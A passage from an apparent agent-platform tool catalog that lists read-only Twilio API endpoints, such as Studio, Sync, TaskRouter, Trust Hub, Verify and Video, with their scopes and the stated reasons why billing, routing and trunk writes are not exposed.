/api/v1/tools/twilio/get-studio-test-user. Scopes: twilio_read. twilio_get_studio_v1_engagement (read) — Get engagement — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve an Engagement. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-engagement. Scopes: twilio_read. twilio_get_studio_v1_engagement_context (read) — Get engagement context — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve the most recent context for an Engagement. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-engagement-context. Scopes: twilio_read. twilio_get_studio_v1_execution (read) — Get execution — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve an Execution. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-execution. Scopes: twilio_read. twilio_get_studio_v1_execution_context (read) — Get execution context — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve the most recent context for an Execution. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-execution-context. Scopes: twilio_read. twilio_get_studio_v1_execution_step (read) — Get execution step — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve a Step. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-execution-step. Scopes: twilio_read. twilio_get_studio_v1_execution_step_context (read) — Get execution step context — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve the context for an Execution Step. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-execution-step-context. Scopes: twilio_read. twilio_get_studio_v1_flow (read) — Get flow — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve a specific Flow. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-flow. Scopes: twilio_read. twilio_get_studio_v1_step (read) — Get step — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve a Step. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-step. Scopes: twilio_read. twilio_get_studio_v1_step_context (read) — Get step context — The v1 Studio surface, where a flow run is called an Engagement rather than an Execution. Retrieve the context for an Engagement Step. READ ONLY. A Studio flow is the logic that answers the customer's real inbound calls and messages; authoring one, deleting one and triggering a run are all deliberately not exposed. GET /api/v1/tools/twilio/get-studio-v1-step-context. Scopes: twilio_read. twilio_get_sync_document (read) — Get document — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-document. Scopes: twilio_read. twilio_get_sync_document_permission (read) — Get document permission — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Fetch a specific Sync Document Permission. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-document-permission. Scopes: twilio_read. twilio_get_sync_list (read) — Get list — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-list. Scopes: twilio_read. twilio_get_sync_list_item (read) — Get list item — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-list-item. Scopes: twilio_read. twilio_get_sync_list_permission (read) — Get list permission — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Fetch a specific Sync List Permission. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-list-permission. Scopes: twilio_read. twilio_get_sync_map (read) — Get map — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-map. Scopes: twilio_read. twilio_get_sync_map_item (read) — Get map item — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-map-item. Scopes: twilio_read. twilio_get_sync_map_permission (read) — Get map permission — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Fetch a specific Sync Map Permission. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-map-permission. Scopes: twilio_read. twilio_get_sync_service (read) — Get service — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-service. Scopes: twilio_read. twilio_get_sync_stream (read) — Get stream — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Fetch a specific Stream. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/get-sync-stream. Scopes: twilio_read. twilio_get_taskrouter_activity (read) — Get activity — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-activity. Scopes: twilio_read. twilio_get_taskrouter_event (read) — Get event — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-event. Scopes: twilio_read. twilio_get_taskrouter_task (read) — Get task — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-task. Scopes: twilio_read. twilio_get_taskrouter_task_channel (read) — Get task channel — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-task-channel. Scopes: twilio_read. twilio_get_taskrouter_task_queue (read) — Get task queue — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-task-queue. Scopes: twilio_read. twilio_get_taskrouter_task_queue_cumulative_statistics (read) — Get task queue cumulative statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-task-queue-cumulative-statistics. Scopes: twilio_read. twilio_get_taskrouter_task_queue_real_time_statistics (read) — Get task queue real time statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-task-queue-real-time-statistics. Scopes: twilio_read. twilio_get_taskrouter_task_queue_statistics (read) — Get task queue statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-task-queue-statistics. Scopes: twilio_read. twilio_get_taskrouter_task_queues_bulk_statistics (write) — Get taskrouter task queues bulk statistics — Real-time statistics for several queues at once. A POST on Twilio's side because the queue list travels in the body; it reads and mutates nothing, which is why it carries twilio_read. POST /api/v1/tools/twilio/get-taskrouter-task-queues-bulk-statistics. Scopes: twilio_read. twilio_get_taskrouter_task_reservation (read) — Get task reservation — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-task-reservation. Scopes: twilio_read. twilio_get_taskrouter_worker (read) — Get worker — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-worker. Scopes: twilio_read. twilio_get_taskrouter_worker_channel (read) — Get worker channel — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-worker-channel. Scopes: twilio_read. twilio_get_taskrouter_worker_instance_statistics (read) — Get worker instance statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-worker-instance-statistics. Scopes: twilio_read. twilio_get_taskrouter_worker_reservation (read) — Get worker reservation — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-worker-reservation. Scopes: twilio_read. twilio_get_taskrouter_worker_statistics (read) — Get worker statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-worker-statistics. Scopes: twilio_read. twilio_get_taskrouter_workers_cumulative_statistics (read) — Get workers cumulative statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workers-cumulative-statistics. Scopes: twilio_read. twilio_get_taskrouter_workers_real_time_statistics (read) — Get workers real time statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workers-real-time-statistics. Scopes: twilio_read. twilio_get_taskrouter_workflow (read) — Get workflow — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workflow. Scopes: twilio_read. twilio_get_taskrouter_workflow_cumulative_statistics (read) — Get workflow cumulative statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workflow-cumulative-statistics. Scopes: twilio_read. twilio_get_taskrouter_workflow_real_time_statistics (read) — Get workflow real time statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workflow-real-time-statistics. Scopes: twilio_read. twilio_get_taskrouter_workflow_statistics (read) — Get workflow statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workflow-statistics. Scopes: twilio_read. twilio_get_taskrouter_workspace (read) — Get workspace — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workspace. Scopes: twilio_read. twilio_get_taskrouter_workspace_cumulative_statistics (read) — Get workspace cumulative statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workspace-cumulative-statistics. Scopes: twilio_read. twilio_get_taskrouter_workspace_real_time_statistics (read) — Get workspace real time statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workspace-real-time-statistics. Scopes: twilio_read. twilio_get_taskrouter_workspace_statistics (read) — Get workspace statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/get-taskrouter-workspace-statistics. Scopes: twilio_read. twilio_get_tollfree_verification (read) — Get one toll-free verification submission, with its status, the rejection reason if it was refused, and the business details on file. The detail half of twilio_list_tollfree_verifications. GET /api/v1/tools/twilio/tollfree-verification. Scopes: twilio_read. twilio_get_transcription (read) — Get one transcription including its text. This is a transcript of a real conversation; treat it as customer content. GET /api/v1/tools/twilio/transcription. Scopes: twilio_read. twilio_get_trunking_credential_list (read) — Get credential list — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/get-trunking-credential-list. Scopes: twilio_read. twilio_get_trunking_ip_access_control_list (read) — Get IP access control list — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/get-trunking-ip-access-control-list. Scopes: twilio_read. twilio_get_trunking_origination_url (read) — Get origination URL — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/get-trunking-origination-url. Scopes: twilio_read. twilio_get_trunking_phone_number (read) — Get phone number — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/get-trunking-phone-number. Scopes: twilio_read. twilio_get_trunking_recording (read) — Get recording — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/get-trunking-recording. Scopes: twilio_read. twilio_get_trunking_trunk (read) — Get trunk — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/get-trunking-trunk. Scopes: twilio_read. twilio_get_trust_product (read) — Get one trust product with its status, policy and rejection reasons if any. GET /api/v1/tools/twilio/trust-product. Scopes: twilio_read. twilio_get_trusthub_customer_profile_channel_endpoint_assignment (read) — Get customer profile channel endpoint assignment — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific Assigned Item Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-customer-profile-channel-endpoint-assignment. Scopes: twilio_read. twilio_get_trusthub_customer_profile_entity_assignment (read) — Get customer profile entity assignment — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific Assigned Item Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-customer-profile-entity-assignment. Scopes: twilio_read. twilio_get_trusthub_customer_profile_evaluation (read) — Get customer profile evaluation — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific Evaluation Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-customer-profile-evaluation. Scopes: twilio_read. twilio_get_trusthub_customer_profile_provisional_copy (read) — Get customer profile provisional copy — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch the provisional copy of a given customer profile. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-customer-profile-provisional-copy. Scopes: twilio_read. twilio_get_trusthub_end_user (read) — Get end user — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific End User Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-end-user. Scopes: twilio_read. twilio_get_trusthub_end_user_type (read) — Get end user type — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch a specific End-User Type Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-end-user-type. Scopes: twilio_read. twilio_get_trusthub_policies (read) — Get policies — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific Policy Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-policies. Scopes: twilio_read. twilio_get_trusthub_supporting_document (read) — Get supporting document — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific Supporting Document Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-supporting-document. Scopes: twilio_read. twilio_get_trusthub_supporting_document_type (read) — Get supporting document type — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch a specific Supporting Document Type Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-supporting-document-type. Scopes: twilio_read. twilio_get_trusthub_trust_product_channel_endpoint_assignment (read) — Get trust product channel endpoint assignment — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific Assigned Item Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-trust-product-channel-endpoint-assignment. Scopes: twilio_read. twilio_get_trusthub_trust_product_entity_assignment (read) — Get trust product entity assignment — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific Assigned Item Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-trust-product-entity-assignment. Scopes: twilio_read. twilio_get_trusthub_trust_product_evaluation (read) — Get trust product evaluation — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch specific Evaluation Instance. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-trust-product-evaluation. Scopes: twilio_read. twilio_get_trusthub_trust_product_provisional_copy (read) — Get trust product provisional copy — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Fetch the provisional copy of a given trust product. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/get-trusthub-trust-product-provisional-copy. Scopes: twilio_read. twilio_get_usage_records (read) — Read what this Twilio account has SPENT, by category and period, with counts, prices and currency. AF already exposes the balance — what is left — and until now nothing about what went out, even though twilio_send_message and twilio_lookup_phone_number both bill the customer. Free and read-only. Use category to isolate one line (sms, calls, lookups, phonenumbers). GET /api/v1/tools/twilio/usage-records. Scopes: twilio_read. twilio_get_usage_trigger (read) — Get one usage trigger: its category, threshold, recurrence, when it last fired and the current value against it. GET /api/v1/tools/twilio/usage-trigger. Scopes: twilio_read. twilio_get_verify_attempts_summary (read) — Aggregate Verify conversion rate over a window: attempts made, attempts converted and the resulting percentage. The one-number version of twilio_list_verify_attempts. GET /api/v1/tools/twilio/verify-attempts-summary. Scopes: twilio_read. twilio_get_verify_bucket (read) — Get bucket — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific Bucket. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-bucket. Scopes: twilio_read. twilio_get_verify_challenge (read) — Get challenge — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific Challenge. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-challenge. Scopes: twilio_read. twilio_get_verify_entity (read) — Get entity — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific Entity. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-entity. Scopes: twilio_read. twilio_get_verify_factor (read) — Get factor — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific Factor. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-factor. Scopes: twilio_read. twilio_get_verify_form (read) — Get form — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch the forms for a specific Form Type. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-form. Scopes: twilio_read. twilio_get_verify_messaging_configuration (read) — Get messaging configuration — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific MessagingConfiguration. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-messaging-configuration. Scopes: twilio_read. twilio_get_verify_rate_limit (read) — Get rate limit — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific Rate Limit. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-rate-limit. Scopes: twilio_read. twilio_get_verify_safelist (read) — Get safelist — Verify — the OTP product's configuration, entities, factors and telemetry. Check if a phone number exists in SafeList. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-safelist. Scopes: twilio_read. twilio_get_verify_service (read) — Get one Verify service's configuration: code length, TTL, enabled channels, fraud settings and custom templates. GET /api/v1/tools/twilio/verify-service. Scopes: twilio_read. twilio_get_verify_verification (read) — Get verification — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific Verification. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-verification. Scopes: twilio_read. twilio_get_verify_verification_attempt (read) — Get verification attempt — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific verification attempt. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-verification-attempt. Scopes: twilio_read. twilio_get_verify_webhook (read) — Get webhook — Verify — the OTP product's configuration, entities, factors and telemetry. Fetch a specific Webhook. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/get-verify-webhook. Scopes: twilio_read. twilio_get_video_composition (read) — Get composition — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a single Composition resource identified by a Composition SID. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-composition. Scopes: twilio_read. twilio_get_video_composition_hook (read) — Get composition hook — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a single CompositionHook resource identified by a CompositionHook SID. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-composition-hook. Scopes: twilio_read. twilio_get_video_composition_settings (read) — Get composition settings — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-composition-settings. Scopes: twilio_read. twilio_get_video_recording (read) — Get recording — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a single Recording resource identified by a Recording SID. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-recording. Scopes: twilio_read. twilio_get_video_recording_settings (read) — Get recording settings — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-recording-settings. Scopes: twilio_read. twilio_get_video_room (read) — Get room — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-room. Scopes: twilio_read. twilio_get_video_room_participant (read) — Get room participant — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-room-participant. Scopes: twilio_read. twilio_get_video_room_participant_published_track (read) — Get room participant published track — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a single Track resource represented by TrackName or SID. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-room-participant-published-track. Scopes: twilio_read. twilio_get_video_room_participant_subscribe_rule (read) — Get room participant subscribe rule — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a list of Subscribe Rules for the Participant. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-room-participant-subscribe-rule. Scopes: twilio_read. twilio_get_video_room_participant_subscribed_track (read) — Get room participant subscribed track — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a single Track resource represented by `track_sid`. Note: This is one resource with the Video API that requires a SID, be Track Name on the subscriber side is not guaranteed to be unique. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-room-participant-subscribed-track. Scopes: twilio_read. twilio_get_video_room_recording (read) — Get room recording — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-room-recording. Scopes: twilio_read. twilio_get_video_room_recording_rule (read) — Get room recording rule — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a list of Recording Rules for the Room. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-room-recording-rule. Scopes: twilio_read. twilio_get_video_room_transcriptions (read) — Get room transcriptions — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/get-video-room-transcriptions. Scopes: twilio_read. twilio_get_voice_byoc_trunk (read) — Get BYOC trunk — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/get-voice-byoc-trunk. Scopes: twilio_read. twilio_get_voice_connection_policy (read) — Get connection policy — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/get-voice-connection-policy. Scopes: twilio_read. twilio_get_voice_connection_policy_target (read) — Get connection policy target — The Voice 